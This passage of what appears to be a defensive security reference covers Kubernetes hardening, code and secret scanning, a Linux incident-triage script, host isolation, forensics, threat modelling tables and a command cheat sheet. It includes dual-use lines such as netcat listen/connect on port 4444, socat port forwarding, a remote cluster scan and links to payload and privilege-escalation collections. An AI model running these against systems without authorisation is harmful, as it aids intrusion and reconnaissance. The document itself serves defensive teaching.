ENV NODE_ENV=production
# Secrets injected at runtime via Vault, AWS Secrets Manager, etc.
EXPOSE 3000
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
CMD wget --quiet --tries=1 http://localhost:3000/health -O - || exit 1
CMD ["node", "server.js"]
EOF
Kubernetes Security:
# Pod Security Standards β Restricted policy example
apiVersion: v1
kind: Pod
metadata:
name: secure-pod
labels:
app: myapp
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
runAsGroup: 3000
fsGroup: 2000
seccompProfile:
type: RuntimeDefault
containers:
- name: myapp
image: myapp:1.0.0@sha256:abc123...
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
runAsNonRoot: true
capabilities:
drop:
- ALL
resources:
limits:
memory: "128Mi"
cpu: "500m"
requests:
memory: "64Mi"
cpu: "250m"
volumeMounts:
- name: tmp
mountPath: /tmp
- name: cache
mountPath: /app/cache
volumes:
- name: tmp
emptyDir: {}
- name: cache
emptyDir: {}
---
# Network Policy β Default deny all, then allow specific
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-all
namespace: production
spec:
podSelector: {}
policyTypes:
- Ingress
- Egress
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-frontend-to-backend
namespace: production
spec:
podSelector:
matchLabels:
app: backend
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
app: frontend
ports:
- protocol: TCP
port: 8080
# Kubernetes security audit
# Install kube-bench
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs job/kube-bench
# Scan K8s cluster with kube-hunter
pip install kube-hunter
kube-hunter --remote CLUSTER_IP
# Falco β Runtime security for Kubernetes
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco \
--set falco.jsonOutput=true \
--set falcosidekick.enabled=true \
--set falcosidekick.config.slack.webhookurl=YOUR_SLACK_WEBHOOK
# Monitor Falco alerts
kubectl logs -l app.kubernetes.io/name=falco -n falco -f
# SAST β Static Application Security Testing
# Semgrep
pip install semgrep
semgrep --config auto ./src/ # Auto-detect language and rules
semgrep --config "p/owasp-top-ten" ./src/
semgrep --config "p/secrets" ./src/ # Find hardcoded secrets
# Bandit (Python)
pip install bandit
bandit -r ./myapp/ -f json -o bandit_report.json
bandit -r ./myapp/ -ll # Only medium and high severity
# ESLint Security (JavaScript/TypeScript)
npm install --save-dev eslint eslint-plugin-security
# Add to .eslintrc:
# "plugins": ["security"],
# "extends": ["plugin:security/recommended"]
# SonarQube (self-hosted SAST)
docker run -d --name sonarqube -e SONAR_ES_BOOTSTRAP_CHECKS_DISABLE=true \
-p 9000:9000 sonarqube:community
# Access at http://localhost:9000 (admin/admin)
# Install sonar-scanner and run:
sonar-scanner \
-Dsonar.projectKey=myproject \
-Dsonar.sources=src \
-Dsonar.host.url=http://localhost:9000 \
-Dsonar.login=YOUR_TOKEN
# Secret scanning
# Trufflehog
docker run --rm -it trufflesecurity/trufflehog:latest git \
--repo https://github.com/myorg/myrepo
# git-secrets (AWS)
git secrets --install
git secrets --register-aws
git secrets --scan -r ./
# Pre-commit hooks for security
pip install pre-commit
cat > .pre-commit-config.yaml << 'EOF'
repos:
- repo: https://github.com/gitleaks/gitleaks
rev: v8.18.0
hooks:
- id: gitleaks
- repo: https://github.com/PyCQA/bandit
rev: 1.7.5
hooks:
- id: bandit
args: ["-c", "pyproject.toml"]
- repo: https://github.com/returntocorp/semgrep
rev: v1.50.0
hooks:
- id: semgrep
args: ["--config", "auto"]
- repo: https://github.com/pre-commit/pre-commit-hooks
rev: v4.5.0
hooks:
- id: detect-private-key
- id: detect-aws-credentials
EOF
pre-commit install
pre-commit run --all-files
# Dependency vulnerability scanning
# Python
pip install pip-audit safety
pip-audit
safety check
# Node.js
npm audit
npm install -g better-npm-audit
better-npm-audit audit --level high
# Go
go install golang.org/x/vuln/cmd/govulncheck@latest
govulncheck ./...
# Java
mvn org.owasp:dependency-check-maven:check # OWASP Dependency Check
# Ruby
gem install bundler-audit
bundle-audit check --update
# Maintain these before an incident occurs:
# - Asset inventory (CMDB)
# - Network diagrams and baselines
# - Incident response plan (IRP)
# - Communication templates
# - Legal contact information
# - Forensic workstation ready
# Create forensic toolkit
sudo apt install dc3dd volatility3 autopsy sleuthkit foremost scalpel binwalk \
exiftool bulk_extractor hashdeep ssdeep xxd strings gdb wireshark tshark \
tcpdump nmap netcat socat
# Create baseline hashes
sudo find /bin /sbin /usr/bin /usr/sbin /etc -type f -exec sha256sum {} + > /root/baseline_hashes.txt
sudo find /lib /lib64 /usr/lib -type f -name "*.so*" -exec sha256sum {} + >> /root/baseline_hashes.txt
# LINUX INCIDENT TRIAGE SCRIPT
#!/bin/bash
# Run this as root to collect volatile data
INCIDENT_DIR="/tmp/ir_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$INCIDENT_DIR"
echo "[*] Collecting volatile data..."
# System info
date > "$INCIDENT_DIR/00_timestamp.txt"
uname -a >> "$INCIDENT_DIR/00_timestamp.txt"
uptime >> "$INCIDENT_DIR/00_timestamp.txt"
# Running processes
ps auxf > "$INCIDENT_DIR/01_processes.txt"
ps aux --sort=-%cpu | head -30 >> "$INCIDENT_DIR/01_processes_cpu.txt"
# Network connections
ss -tlnp > "$INCIDENT_DIR/02_listening_ports.txt"
ss -anp > "$INCIDENT_DIR/02_all_connections.txt"
netstat -rn > "$INCIDENT_DIR/02_routing_table.txt"
ip neigh show > "$INCIDENT_DIR/02_arp_cache.txt"
# Users logged in
who > "$INCIDENT_DIR/03_logged_in_users.txt"
last -30 > "$INCIDENT_DIR/03_last_30_logins.txt"
lastb -30 > "$INCIDENT_DIR/03_last_30_failed_logins.txt" 2>/dev/null
# Startup items
ls -la /etc/cron* /var/spool/cron/* > "$INCIDENT_DIR/04_cron.txt" 2>/dev/null
systemctl list-units --type=service --state=running > "$INCIDENT_DIR/04_services.txt"
cat /etc/rc.local >> "$INCIDENT_DIR/04_startup.txt" 2>/dev/null
# Open files
lsof -i > "$INCIDENT_DIR/05_open_network_files.txt"
lsof +L1 > "$INCIDENT_DIR/05_deleted_but_open_files.txt"
# File system changes
find / -mtime -1 -type f 2>/dev/null | grep -v -E "/proc|/sys|/dev" > "$INCIDENT_DIR/06_recent_files_24h.txt"
find /tmp /var/tmp -type f -exec ls -la {} + > "$INCIDENT_DIR/06_tmp_files.txt" 2>/dev/null
# SUID/SGID files
find / -perm -4000 -o -perm -2000 -type f 2>/dev/null > "$INCIDENT_DIR/07_suid_sgid.txt"
# Authentication logs
grep -E "Failed|success|invalid|sudo" /var/log/auth.log | tail -1000 > "$INCIDENT_DIR/08_auth_activity.txt" 2>/dev/null
journalctl -u ssh --since "1 day ago" > "$INCIDENT_DIR/08_ssh_logs.txt" 2>/dev/null
# Bash history for all users
for home in /root /home/*; do
user=$(basename "$home")
if [ -f "$home/.bash_history" ]; then
echo "=== $user ===" >> "$INCIDENT_DIR/09_bash_history.txt"
cat "$home/.bash_history" >> "$INCIDENT_DIR/09_bash_history.txt"
fi
done
# Hash collection for comparison
sha256sum $(find /bin /sbin /usr/bin /usr/sbin -type f 2>/dev/null) > "$INCIDENT_DIR/10_binary_hashes.txt"
# Kernel modules
lsmod > "$INCIDENT_DIR/11_kernel_modules.txt"
cat /proc/modules >> "$INCIDENT_DIR/11_kernel_modules.txt"
# Memory dump (if avmpore available)
# avmpore -o "$INCIDENT_DIR/memory.dump" 2>/dev/null
echo "[*] Collection complete: $INCIDENT_DIR"
ls -lh "$INCIDENT_DIR/"
tar czf "${INCIDENT_DIR}.tar.gz" "$INCIDENT_DIR/"
echo "[*] Archive: ${INCIDENT_DIR}.tar.gz"
# Isolate a compromised Linux host
# Option 1: Block all traffic except to IR team workstation
iptables -F
iptables -X
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP
iptables -A INPUT -s IR_TEAM_IP -j ACCEPT
iptables -A OUTPUT -d IR_TEAM_IP -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
# Option 2: Disable network interface (more complete isolation)
ip link set eth0 down
# Preserve running processes before killing
# Take a snapshot (if VM)
# Or capture memory with LiME (Linux Memory Extractor)
# git clone https://github.com/504ensicslabs/lime
# cd lime/src && make
# sudo insmod lime.ko "path=/tmp/memory.lime format=lime"
# Preserve disk image before any changes
sudo dc3dd if=/dev/sda of=/mnt/external/disk_image.dd hash=sha256 log=/mnt/external/dc3dd.log
# Verify image integrity
sha256sum /mnt/external/disk_image.dd
# Verify integrity of system binaries after incident
# Compare against baseline
sha256sum -c /root/baseline_hashes.txt 2>&1 | grep -v "OK"
# Check for rootkits
sudo apt install chkrootkit rkhunter
sudo chkrootkit
sudo rkhunter --update
sudo rkhunter --check --skip-keypress
# Scan with Maldet (Linux Malware Detect)
wget http://www.rfxn.com/downloads/maldetect-current.tar.gz
tar xzf maldetect-current.tar.gz
cd maldetect-*
sudo ./install.sh
sudo maldet --update-sigs
sudo maldet -a /
# After cleaning, verify all accounts
awk -F: '$3 == 0 {print $1}' /etc/passwd # UID 0 users (should only be root)
awk -F: '$2 == "" {print $1}' /etc/shadow # Users with no password
cat /etc/sudoers; ls /etc/sudoers.d/ # Sudo access
| Threat | Definition | Security Property Violated | Mitigation |
|---|---|---|---|
| Spoofing | Impersonating users or systems | Authentication | MFA, digital signatures |
| Tampering | Modifying data or code | Integrity | HMAC, checksums, signing |
| Repudiation | Denying actions occurred | Non-repudiation | Audit logs, digital signatures |
| Information Disclosure | Data exposure | Confidentiality | Encryption, access control |
| Denial of Service | Making service unavailable | Availability | Rate limiting, redundancy |
| Elevation of Privilege | Gaining unauthorized access | Authorization | Least privilege, sandboxing |
Stage 1: Define Objectives
βββ What are the business objectives?
βββ What are the security requirements?
Stage 2: Define Technical Scope
βββ Application architecture
βββ Infrastructure components
βββ Trust boundaries
Stage 3: Decompose Application
βββ Data Flow Diagrams (DFDs)
βββ Identify entry/exit points
βββ Enumerate assets
Stage 4: Threat Analysis
βββ OSINT on similar systems
βββ Known attack patterns
βββ Threat actors and motivations
Stage 5: Weakness & Vulnerability Analysis
βββ SAST/DAST results
βββ CVE research for components
βββ Configuration weaknesses
Stage 6: Attack Modeling
βββ Attack trees
βββ Attack scenarios per threat
Stage 7: Risk & Impact Analysis
βββ Risk scoring (CVSS-like)
βββ Business impact
βββ Prioritized remediation
| Framework | Scope | Who Uses It | Key Focus |
|---|---|---|---|
| NIST CSF | General cybersecurity | All organizations | Identify, Protect, Detect, Respond, Recover |
| ISO 27001 | Information security ISMS | Enterprise, certification | Management system, controls |
| SOC 2 | Service providers | Cloud/SaaS companies | Trust service criteria |
| PCI DSS | Payment card data | Any org handling card data | Cardholder data protection |
| HIPAA | Healthcare data (US) | Healthcare organizations | PHI protection |
| GDPR | Personal data (EU) | Any org with EU residentsβ data | Data rights, privacy |
| CIS Controls | Practical security | SMB to enterprise | 18 prioritized control groups |
| MITRE ATT&CK | Adversary tactics | SOC, threat hunters | Known attacker behaviors |
# Install MITRE ATT&CK tools
pip install mitreattack-python
# Map alerts to ATT&CK techniques
python3 << 'EOF'
from mitreattack.stix20 import MitreAttackData
mitre_attack_data = MitreAttackData("enterprise-attack.json")
# Get technique by ID
technique = mitre_attack_data.get_technique_by_id("T1055") # Process Injection
print(f"Name: {technique.name}")
print(f"Description: {technique.description[:200]}")
# Get all techniques in a tactic
techniques = mitre_attack_data.get_techniques_by_tactic("persistence")
for t in techniques[:5]:
print(f"{t.external_id}: {t.name}")
EOF
# OpenSCAP β automated CIS benchmark assessment
sudo apt install openscap-scanner scap-security-guide
# List available profiles
oscap info /usr/share/xml/scap/ssg/content/ssg-ubuntu2204-xccdf.xml | grep "Profile\|Id:"
# Assess against CIS Level 1 profile
sudo oscap xccdf eval \
--profile xccdf_org.ssgproject.content_profile_cis_level1_server \
--results /tmp/cis_results.xml \
--report /tmp/cis_report.html \
/usr/share/xml/scap/ssg/content/ssg-ubuntu2204-xccdf.xml
# View HTML report
firefox /tmp/cis_report.html
# Apply remediations (careful in production!)
sudo oscap xccdf remediate \
--results-arf /tmp/cis_results.xml \
/usr/share/xml/scap/ssg/content/ssg-ubuntu2204-xccdf.xml
| Port | Protocol | Service | Notes |
|---|---|---|---|
| 20, 21 | TCP | FTP | Use SFTP instead; FTP transmits in plaintext |
| 22 | TCP | SSH | Change to non-default port; disable password auth |
| 23 | TCP | Telnet | Never use; plaintext protocol, deprecated |
| 25 | TCP | SMTP | Configure SPF/DKIM/DMARC |
| 53 | TCP/UDP | DNS | Monitor for DNS tunneling |
| 67, 68 | UDP | DHCP | Rogue DHCP detection |
| 80 | TCP | HTTP | Redirect all to HTTPS (443) |
| 110 | TCP | POP3 | Use POP3S (995) |
| 143 | TCP | IMAP | Use IMAPS (993) |
| 443 | TCP | HTTPS | Enforce TLS 1.2+; enable HSTS |
| 445 | TCP | SMB | Block externally; disable SMBv1 |
| 1433 | TCP | MS SQL | Never expose to internet |
| 1521 | TCP | Oracle DB | Never expose to internet |
| 3306 | TCP | MySQL | Bind to localhost only |
| 3389 | TCP | RDP | Enable NLA; change port; use VPN |
| 5432 | TCP | PostgreSQL | Bind to localhost; use pg_hba.conf |
| 5900 | TCP | VNC | Never expose unencrypted; use SSH tunnel |
| 6379 | TCP | Redis | Bind to localhost; enable authentication |
| 8080 | TCP | HTTP Alt | Development; secure before production |
| 27017 | TCP | MongoDB | Bind to localhost; enable auth always |
| Use Case | Recommended | Acceptable | Avoid |
|---|---|---|---|
| Password hashing | Argon2id, bcrypt (costβ₯12) | scrypt | MD5, SHA-1, SHA-2, PBKDF2-SHA1 |
| Symmetric encryption | AES-256-GCM | ChaCha20-Poly1305 | AES-ECB, DES, 3DES, RC4 |
| Key exchange | X25519 (ECDH) | DH-4096 | DH-1024, RSA for key exchange |
| Digital signatures | Ed25519 | RSA-PSS (4096+), ECDSA P-256 | RSA-PKCS1v1.5, DSA, RSA-1024 |
| TLS version | TLS 1.3 | TLS 1.2 | TLS 1.0, 1.1, SSLv3, SSLv2 |
| Certificate | ECDSA P-256 or Ed25519 | RSA-4096 | RSA-1024, MD5-signed |
| Hash (non-password) | SHA-256/SHA-3 | SHA-512 | MD5, SHA-1 |
| MAC | HMAC-SHA256 | Poly1305 | Custom MAC, CRC |
| CVSS Score | Severity | Priority |
|---|---|---|
| 9.0 β 10.0 | Critical | Patch within 24 hours |
| 7.0 β 8.9 | High | Patch within 7 days |
| 4.0 β 6.9 | Medium | Patch within 30 days |
| 0.1 β 3.9 | Low | Patch in next maintenance cycle |
| 0.0 | None | No action required |
| Resource | URL | Type |
|---|---|---|
| OWASP Top 10 | https://owasp.org/www-project-top-ten/ | Web security standards |
| NIST NVD CVE | https://nvd.nist.gov/ | Vulnerability database |
| MITRE CVE | https://cve.mitre.org/ | CVE source |
| MITRE ATT&CK | https://attack.mitre.org/ | Adversary tactics |
| VirusTotal | https://virustotal.com/ | File/URL/IP scanning |
| Shodan | https://shodan.io/ | Internet device search |
| Have I Been Pwned | https://haveibeenpwned.com/ | Breach checking |
| GTFOBins | https://gtfobins.github.io/ | Unix binary privesc |
| LOLBAS | https://lolbas-project.github.io/ | Windows LOL binaries |
| Exploit-DB | https://exploit-db.com/ | Public exploit archive |
| Vulhub | https://vulhub.org/ | Vulnerable environments |
| CIS Benchmarks | https://cisecurity.org/cis-benchmarks/ | Hardening guides |
| SANS Reading Room | https://sans.org/reading-room/ | Security papers |
| NIST SP 800-53 | https://csrc.nist.gov/publications/sp800 | Security controls |
| h4cker GitHub | https://github.com/The-Art-of-Hacking/h4cker | Learning resources |
| Security Checklist | https://github.com/Lissy93/personal-security-checklist | Personal security |
| SafeLine WAF | https://github.com/chaitin/SafeLine | Self-hosted WAF |
| Wazuh | https://github.com/wazuh/wazuh | Open source HIDS/EDR |
| Velociraptor | https://github.com/Velocidex/velociraptor | DFIR platform |
| OSCP Resources | https://github.com/rewardone/OSCPRepo | Penetration testing |
| PayloadsAllTheThings | https://github.com/swisskyrepo/PayloadsAllTheThings | Security payloads |
# === PROCESS ===
ps aux | grep <name> # Find process
kill -9 <pid> # Force kill
pkill -f <pattern> # Kill by pattern
nice -n 10 <cmd> # Run with lower priority
renice -n 5 -p <pid> # Change running priority
# === NETWORKING ===
curl -I https://example.com # HTTP headers only
wget -q -O - https://url | head # Fetch URL quietly
nc -l 4444 # Listen on port 4444
nc host 4444 # Connect to port 4444
socat TCP-LISTEN:8080,fork TCP:target:80 # Port forward
# === FILE OPERATIONS ===
find / -name "*.conf" 2>/dev/null # Find config files
locate *.log # Fast file locate
grep -r "pattern" /etc/ # Recursive grep
diff file1 file2 # Compare files
md5sum file; sha256sum file # Hashes
base64 file # Base64 encode
base64 -d file # Base64 decode
xxd file | head # Hex dump
# === USERS ===
id # Current user info
sudo -l # List sudo privileges
who; w # Logged in users
last | head -20 # Login history
cat /etc/passwd | cut -d: -f1 # All usernames
# === SYSTEM ===
df -h # Disk space
du -sh /* # Dir sizes
free -h # Memory
uptime # Load average
dmesg | tail # Recent kernel messages
lsmod # Kernel modules
lscpu # CPU info
lspci # PCI devices
lsusb # USB devices
lsblk # Block devices
MIT License
Copyright (c) 2024 [Your Name/Organization]
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
β οΈ Disclaimer: This document is intended strictly for educational and defensive security purposes. All techniques described are for authorized use on systems you own or have explicit written permission to test. Unauthorized testing of systems is illegal and unethical. Always obtain proper authorization before conducting any security assessments.
π Contributing: Feel free to submit pull requests with corrections, additions, or improvements. All contributions must maintain the defensive and educational focus of this repository.
π Related Repositories: